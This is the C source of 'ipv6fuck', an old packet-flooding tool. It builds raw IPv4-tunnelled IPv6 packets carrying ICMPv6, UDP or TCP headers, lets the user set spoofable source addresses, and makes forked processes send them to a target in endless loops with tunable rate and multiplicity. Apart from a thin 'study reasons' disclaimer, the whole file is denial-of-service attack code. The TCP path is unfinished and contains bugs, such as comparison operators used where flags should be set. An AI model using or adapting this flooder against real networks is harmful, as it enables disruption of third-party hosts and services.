/*
    ipv6fuck v1.0alfa - (c)2002 schizoid
    (deriving from icmp6fuck v3)

    this program wrote to study reasons
    
    compilating istruction:

      linux -> gcc -s -O2 -static -DLINUX ipv6fuck.c -o ipv6fuck
       *bsd -> gcc -s -O2 -static ipv6fuck.c -o ipv6fuck
    solaris -> gcc -s -O2 -static -DSOLARIS ipv6fuck.c -o ipv6fuck (?!?! problem :P)

    the author doesn't assume responsability on eventual damages caused
    from the improper use of the program.

    ipv6? no thanks I'm allergic to the ping timeout ;>
*/
#include <stdio.h>
#include <stdlib.h>

#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#ifdef LINUX
#define		__FAVOR_BSD
#endif
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <string.h>
#include <signal.h>

#define		RAW	0
#define		ICMP6	1
#define		TCP	2
#define		UDP	3

#define		IPV6_RAW_HEADERS_LENGTH		sizeof(struct ip) + sizeof(struct ip6_hdr)
#define		IPV6_ICMP6_HEADERS_LENGTH	sizeof(struct ip) + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)
#define		IPV6_TCP_HEADERS_LENGTH		sizeof(struct ip) + sizeof(struct ip6_hdr) + sizeof(struct tcphdr)
#define		IPV6_UDP_HEADERS_LENGTH		sizeof(struct ip) + sizeof(struct ip6_hdr) + sizeof(struct udphdr)

#define		getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

int		pid, cpid=0, master=1;

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
	register long	sum;
	u_short		oddbyte;
	register	u_short answer;

	sum = 0;
	while (nbytes > 1) {
		sum += *ptr++;
		nbytes -= 2;
	}

	if (nbytes == 1) {
		oddbyte = 0;
		*((u_char *) & oddbyte) = *(u_char *) ptr;
		sum += oddbyte;
	}

	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return (answer);
}

u_short pseudo_check(struct in6_addr from, struct in6_addr to, void *pkt, int length, int nh)
{
	struct pseudo6 {
		struct in6_addr src;
		struct in6_addr dst;

		unsigned short plen;
		u_char zero;
		u_char nh;
	} *psd;

	char *tosum;
	u_short resultz;

	tosum = (char *)(malloc(length + sizeof(struct pseudo6)));
	memset(tosum, 0, length + sizeof(struct pseudo6));
	psd = (struct pseudo6 *)(tosum);
	memcpy(tosum + sizeof(struct pseudo6), pkt, length);
	psd->src = from;
	psd->dst = to;
	psd->plen = htons(length);
	psd->nh = nh;
	resultz = in_cksum((u_short *)tosum, length + sizeof(struct pseudo6));
	free(tosum);
	return(resultz);
}

void proc_SIGINT()
{
	if (master) printf("...done!\n\n");
	exit(0);
}

void proc_SIGTERM()
{
	if (master) printf("...done!\n\n");
	if (cpid) kill(cpid, SIGTERM);

	exit(0);
}

int usage(char *name)
{
	printf( "%s <ipv4_src> <ipv4_dst> <ipv6_src> <ipv6_dst> <raw>|<icmp6>|<tcp>|<udp> [ options... ]\n\n"
		"  options: [ -b <bytes> ] [ -u <usleep> ] [ -k <forks> ]\n"
		"           [ -m <multiply> ] [ -S <seconds> ]\n"
		"    tcp -> [ -s <src_port> ] [ -d <dst_port> ]\n"
		"           [ -f <flags> ]  flags: (u)rg (a)ck (p)sh (r)st (s)yn (f)in\n"
		"    udp -> [ -s <src_port> ] [ -d <dst_port> ]\n"
		"  icmp6 -> [ -t <type> ] [ -c <code> ]\n\n"
		"  default options values: -b 8 -u 100 -k 1\n"
		"                          -m 1 -S 5 (0=infinite)\n"
		"                          -s 0 (0=random) -d 0 (0=random) -f s\n"
		"                          -t 0x80 -c 0x00\n\n"
		"for help send e-mail to schizoid@arabia.com\n\n\n", name);
	exit(-1);
}

int main(int argc, char **argv)
{
	u_char ipv6_packet[64*1024];
	struct ip *ip4 = (struct ip *) ipv6_packet;
	struct ip6_hdr *ip6 = (struct ip6_hdr *) (ipv6_packet + sizeof(struct ip));
	struct icmp6_hdr *icmp6 = (struct icmp6_hdr *) (ipv6_packet + sizeof(struct ip) + sizeof(struct ip6_hdr));
	struct udphdr *udp6 = (struct udphdr *) (ipv6_packet + sizeof(struct ip) + sizeof(struct ip6_hdr));
	struct tcphdr *tcp6 = (struct tcphdr *) (ipv6_packet + sizeof(struct ip) + sizeof(struct ip6_hdr));
	int			opt, opt_proto;
	int			opt_bytes, opt_usleep, opt_forks, old_opt_forks;
	int			opt_multiply, opt_seconds;
	int			opt_src_port, opt_dst_port;
	int			opt_tcp_urg, opt_tcp_ack, opt_tcp_psh, opt_tcp_rst, opt_tcp_syn, opt_tcp_fin;
	int			opt_icmp6_type, opt_icmp6_code;
	char			*proc_name;
	char			arg_name[1024];
	char			str_ipv4_src[INET_ADDRSTRLEN];
	char			str_ipv4_dst[INET_ADDRSTRLEN];
	char			str_ipv6_src[INET6_ADDRSTRLEN];
	char			str_ipv6_dst[INET6_ADDRSTRLEN];
	struct	hostent		*he;
	struct	sockaddr_in	pecora;
	int			ipv6_length, multiply, s, on=1;

	srandom(time(NULL) + random());

	printf( "\n--------------------------------------"
		"\n ipv6fuck v1.0alfa - (c)2002 schizoid"
		"\n--------------------------------------\n\n");

	opt_bytes = 8;
	opt_usleep = 100;
	opt_forks = 1;
	opt_multiply = 1;
	opt_seconds = 5;
	opt_src_port = 0;
	opt_dst_port = 0;
	opt_tcp_urg = 0;
	opt_tcp_ack = 0;
	opt_tcp_psh = 0;
	opt_tcp_rst = 0;
	opt_tcp_syn = 1;
	opt_tcp_fin = 0;
	opt_icmp6_type = 0x80;
	opt_icmp6_code = 0x00;
	bzero(&ipv6_packet, sizeof(ipv6_packet));

	memset(&ipv6_packet, 0x12, sizeof(ipv6_packet));
	memset(&ipv6_packet, 0, 68);

	for (proc_name = argv[0]; strstr(proc_name, "/");  proc_name = strstr(argv[0], "/")+1);

	if (argc < 6) usage(argv[0]);
	optind = 6;
    	while ((opt = getopt(argc, argv, "b:u:k:m:S:s:d:f:t:c:")) != -1) {
	    switch (opt) {
		case 'b':
		    opt_bytes = strtoul(optarg, NULL, 10);
		    break;
		case 'u':
		    if ((opt_usleep = strtoul(optarg, NULL, 10)) < 0) {
			fprintf(stderr, "%s: invalid usleep time -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 'k':
		    if ((opt_forks = strtoul(optarg, NULL, 10)) < 0) {
			fprintf(stderr, "%s: invalid number of forks -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 'm':
		    if ((opt_multiply = strtoul(optarg, NULL, 10)) < 1) {
			fprintf(stderr, "%s: invalid multiply factor -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 'S':
		    if ((opt_seconds = strtoul(optarg, NULL, 10)) < 0) {
			fprintf(stderr, "%s: invalid number of seconds -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 's':
		    opt_src_port = strtoul(optarg, NULL, 10);
		    if ((opt_src_port < 0) || (opt_src_port > 65535)) {
			fprintf(stderr, "%s: invalid source port -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 'd':
		    opt_dst_port = strtoul(optarg, NULL, 10);
		    if ((opt_dst_port < 0) || (opt_dst_port > 65535)) {
			fprintf(stderr, "%s: invalid destination port -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 'f':
		    opt_tcp_syn = 0;
		    if (strchr(optarg, 'u')) opt_tcp_urg = 1;
		    if (strchr(optarg, 'a')) opt_tcp_ack = 1;
		    if (strchr(optarg, 'p')) opt_tcp_psh = 1;
		    if (strchr(optarg, 'r')) opt_tcp_rst = 1;
		    if (strchr(optarg, 's')) opt_tcp_syn = 1;
		    if (strchr(optarg, 'f')) opt_tcp_fin = 1;
		    break;
		case 't':
		    opt_icmp6_type = strtoul(optarg, NULL, 16);
		    if ((opt_icmp6_type < 0) || (opt_icmp6_type > 255)) {
			fprintf(stderr, "%s: invalid icmp6 type -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		case 'c':
		    opt_icmp6_code = strtoul(optarg, NULL, 16);
		    if ((opt_icmp6_code < 0) || (opt_icmp6_code > 255)) {
			fprintf(stderr, "%s: invalid icmp6 code -- %i\n\n", proc_name, optarg);
			usage(argv[0]);
		    }
		    break;
		default:
		    fprintf(stderr, "\n");
		    usage(argv[0]);
		    break;
	    }
	}

	if (!(he = gethostbyname(argv[1]))) {
	    fprintf(stderr, "%s: invalid source ipv4 -- %s\n\n", proc_name, argv[1]);
	    usage(argv[0]);
	} else memcpy(&ip4->ip_src.s_addr, he->h_addr, he->h_length);

	if (!(he = gethostbyname(argv[2]))) {
	    fprintf(stderr, "%s: invalid destination ipv4 -- %s\n\n", proc_name, argv[2]);
	    usage(argv[0]);
	} else memcpy(&ip4->ip_dst.s_addr, he->h_addr, he->h_length);

	if (!(he = gethostbyname2(argv[3], AF_INET6))) {
	    fprintf(stderr, "%s: invalid source ipv6 -- %s\n\n", proc_name, argv[3]);
	    usage(argv[0]);
	} else memcpy(&ip6->ip6_src, he->h_addr, he->h_length);

	if (!(he = gethostbyname2(argv[4], AF_INET6))) {
	    fprintf(stderr, "%s: invalid destination ipv6 -- %s\n\n", proc_name, argv[4]);
	    usage(argv[0]);
	} else memcpy(&ip6->ip6_dst, he->h_addr, he->h_length);


	ip4->ip_v = 4;
	ip4->ip_hl = 5;
	ip4->ip_tos = 0;
//	ip4->ip_len = htons(IPV6_ICMP6_HEADERS_LENGTH + opt_bytes);
//	ip4->ip_id = 0x0;
//	ip4->ip_off = htons(0x4000);
	ip4->ip_off = 0;
	ip4->ip_ttl = 0x40;
	ip4->ip_p = IPPROTO_IPV6;
//	ip4->ip_sum = in_cksum((u_short *) ip4, sizeof (struct ip));

	ip6->ip6_vfc = 0x60;
//	ip6->ip6_flow = 0;
//	ip6->ip6_plen = htons(sizeof(struct icmp6_hdr) + opt_bytes);
//	ip6->ip6_nxt = IPPROTO_ICMPV6;
	ip6->ip6_hlim = 0x40;

	if (strstr("raw\0", argv[5])) {
		opt_proto=RAW;
	} else
	if (strstr("icmp6\0", argv[5])) {
		opt_proto=ICMP6;
		ipv6_length = IPV6_ICMP6_HEADERS_LENGTH + opt_bytes;

		ip6->ip6_plen = htons(sizeof(struct icmp6_hdr) + opt_bytes);
		ip6->ip6_nxt = IPPROTO_ICMPV6;

		icmp6->icmp6_type = opt_icmp6_type;
		icmp6->icmp6_code = opt_icmp6_code; //128?

		ip4->ip_id = htons(rand());
		ip4->ip_sum = in_cksum((u_short *) ip4, sizeof (struct ip));
		icmp6->icmp6_data16[0] = rand();
		icmp6->icmp6_data16[1] = rand();
		icmp6->icmp6_cksum = 0;
		icmp6->icmp6_cksum = pseudo_check(ip6->ip6_src, ip6->ip6_dst, icmp6, sizeof(struct icmp6_hdr) + opt_bytes, IPPROTO_ICMPV6);
	} else
	if (strstr("tcp\0", argv[5])) {
		opt_proto=TCP;
		ipv6_length = IPV6_TCP_HEADERS_LENGTH + opt_bytes;
		ip6->ip6_plen = htons(sizeof(struct icmp6_hdr) + opt_bytes);
		ip6->ip6_nxt = IPPROTO_UDP;

//
//struct tcphdr
//  {
//    u_int16_t th_sport;         /* source port */
//    u_int16_t th_dport;         /* destination port */
//    tcp_seq th_seq;             /* sequence number */
//    tcp_seq th_ack;             /* acknowledgement number */
//#  if __BYTE_ORDER == __LITTLE_ENDIAN
//    u_int8_t th_x2:4;           /* (unused) */
//    u_int8_t th_off:4;          /* data offset */
//#  endif
//#  if __BYTE_ORDER == __BIG_ENDIAN
//    u_int8_t th_off:4;          /* data offset */
//    u_int8_t th_x2:4;           /* (unused) */
//#  endif
//    u_int8_t th_flags;
//    u_int16_t th_win;           /* window */
//    u_int16_t th_sum;           /* checksum */
//    u_int16_t th_urp;           /* urgent pointer */
//};
		if (opt_tcp_urg) tcp6->th_flags=TH_URG; else tcp6->th_flags=0;
		if (opt_tcp_ack) tcp6->th_flags!=TH_ACK; else
		if (opt_tcp_psh) tcp6->th_flags!=TH_PUSH; else
		if (opt_tcp_rst) tcp6->th_flags!=TH_RST; else
		if (opt_tcp_syn) tcp6->th_flags!=TH_SYN; else
		if (opt_tcp_fin) tcp6->th_flags!=TH_FIN;

		printf("%i\n", tcp6->th_flags);

		ip4->ip_id = htons(rand());
		ip4->ip_sum = in_cksum((u_short *) ip4, sizeof (struct ip));
		tcp6->th_sum = 0;
		if (opt_src_port) tcp6->th_sport = htons(opt_src_port); else tcp6->th_sport = htons(getrandom(0, 65535));
		if (opt_dst_port) tcp6->th_sport = htons(opt_dst_port); else tcp6->th_dport = htons(getrandom(0, 65535));
	} else
	if (strstr("udp\0", argv[5])) {
		opt_proto=UDP;
		ipv6_length = IPV6_UDP_HEADERS_LENGTH + opt_bytes;
		ip6->ip6_plen = htons(sizeof(struct icmp6_hdr) + opt_bytes);
		ip6->ip6_nxt = IPPROTO_UDP;
		udp6->uh_ulen = htons(sizeof(struct udphdr) + opt_bytes);

		ip4->ip_id = htons(rand());
		ip4->ip_sum = in_cksum((u_short *) ip4, sizeof (struct ip));
		udp6->uh_sum = 0;
		if (opt_src_port) udp6->uh_sport = htons(opt_src_port); else udp6->uh_sport = htons(getrandom(0, 65535));
		if (opt_dst_port) udp6->uh_sport = htons(opt_dst_port); else udp6->uh_dport = htons(getrandom(0, 65535));
	} else {
		fprintf(stderr, "%s: invalid protocol -- %s\n\n", proc_name, argv[5]);
		usage(argv[0]);
	}

	ip4->ip_len = htons(ipv6_length);


	bzero(&pecora, sizeof(pecora));
	pecora.sin_family = AF_INET;
	pecora.sin_addr.s_addr = ip4->ip_dst.s_addr;

	s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
	setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

	signal(SIGINT, proc_SIGINT);
	signal(SIGTERM, proc_SIGTERM);

	old_opt_forks = opt_forks;
	while (opt_forks-- > 0) {
		int	desync = (int) getrandom(0,50000);
		usleep(desync);

		if ((pid = fork()) == -1) {
			fprintf(stderr, "%s: error -- fork()\n\n", proc_name);
			exit(-1);
		} else
		if (pid != 0) {		// processo padre
			cpid = pid;
			break;
		} else {		// processo figlio
			master = 0;
		}
	}
	pid = getpid();

	if (master) {
		inet_ntop(AF_INET, &ip4->ip_src.s_addr, str_ipv4_src, INET_ADDRSTRLEN);
		inet_ntop(AF_INET, &ip4->ip_dst.s_addr, str_ipv4_dst, INET_ADDRSTRLEN);
		inet_ntop(AF_INET6, &ip6->ip6_src, str_ipv6_src, INET6_ADDRSTRLEN);
		inet_ntop(AF_INET6, &ip6->ip6_dst, str_ipv6_dst, INET6_ADDRSTRLEN);
		switch (opt_proto) {
			case RAW:
				printf( "RAW isn't implemented!!!\n");
				break;
			case ICMP6:
				printf( "ICMP6 %s (%s) from %s (%s) %i data bytes\n"
					"  (headers length: ip=%i, ip6=%i, icmp6=%i) - headers+data=%i bytes\n",
					str_ipv6_dst, str_ipv4_dst, str_ipv6_src, str_ipv4_src, opt_bytes,
					sizeof(struct ip), sizeof(struct ip6_hdr), sizeof(struct icmp6_hdr), ipv6_length);
				printf( "  (type=0x%x, code=0x%x)\n", opt_icmp6_type, opt_icmp6_code);
				break;
			case TCP:
				printf( "TCP isn't implemented!!!\n");
				break;
			case UDP:
				printf( "UDP %s (%s) from %s (%s) %i data bytes\n"
					"  (headers length: ip=%i, ip6=%i, udp=%i) - headers+data=%i bytes\n",
					str_ipv6_dst, str_ipv4_dst, str_ipv6_src, str_ipv4_src, opt_bytes,
					sizeof(struct ip), sizeof(struct ip6_hdr), sizeof(struct udphdr), ipv6_length);
				printf( "  (src_port=");
				if (opt_src_port) printf("%i", opt_src_port); else printf("random");
				printf( ", dst_port=");
				if (opt_dst_port) printf("%i)\n", opt_dst_port); else printf("random)\n");
				break;
		}

		printf("\nsending packets (usleep=%i, forks=%i, multiply=%i, seconds=", opt_usleep, old_opt_forks, opt_multiply);
		if (opt_seconds) printf("%i", opt_seconds); else printf("infinite");
		printf(")...\n  (press ctrl+c or 'kill %i' to break)\n\n", pid);
		if (opt_seconds) while (opt_seconds-- > 0) usleep(1000000); else for (;;);
		proc_SIGTERM();
	} else {
		bzero(&pecora, sizeof(pecora));
		pecora.sin_family = AF_INET;
		pecora.sin_addr.s_addr = ip4->ip_dst.s_addr;

		s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
		if (s == -1) {
			fprintf(stderr, "%s: error -- socket()\n\n", proc_name);
			proc_SIGTERM();
		}
		if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
			fprintf(stderr, "%s: error -- setsockopt()\n\n", proc_name);
			proc_SIGTERM();
		};

		for (;;) {
			switch (opt_proto) {
				case RAW:
					break;
				case ICMP6:
					ip4->ip_id = htons(rand());
					ip4->ip_sum = in_cksum((u_short *) ip4, sizeof (struct ip));
					icmp6->icmp6_data16[0] = rand();
					icmp6->icmp6_data16[1] = rand();
					icmp6->icmp6_cksum = 0;
					icmp6->icmp6_cksum = pseudo_check(ip6->ip6_src, ip6->ip6_dst, icmp6, sizeof(struct icmp6_hdr) + opt_bytes, IPPROTO_ICMPV6);
					break;
				case TCP:
					break;
				case UDP:
					ip4->ip_id = htons(rand());
					ip4->ip_sum = in_cksum((u_short *) ip4, sizeof (struct ip));
					if (opt_src_port) udp6->uh_sport = htons(opt_src_port); else udp6->uh_sport = htons(getrandom(0, 65535));
					if (opt_dst_port) udp6->uh_dport = htons(opt_dst_port); else udp6->uh_dport = htons(getrandom(0, 65535));

					udp6->uh_sum = 0;
					udp6->uh_sum = pseudo_check(ip6->ip6_src, ip6->ip6_dst, udp6, sizeof(struct udphdr) + opt_bytes, IPPROTO_UDP);
					break;
			}

			for (multiply = 1; multiply <= opt_multiply; multiply++) {
				if (sendto(s, ipv6_packet, ipv6_length, 0, (struct sockaddr *) &pecora, sizeof(pecora)) == -1) {
				//	fprintf(stderr, "%s: error -- sendto()\n\n", proc_name);
				//	proc_SIGTERM();
				}
			}

			if (opt_usleep) usleep(opt_usleep);
		}
	}
	close(s);
}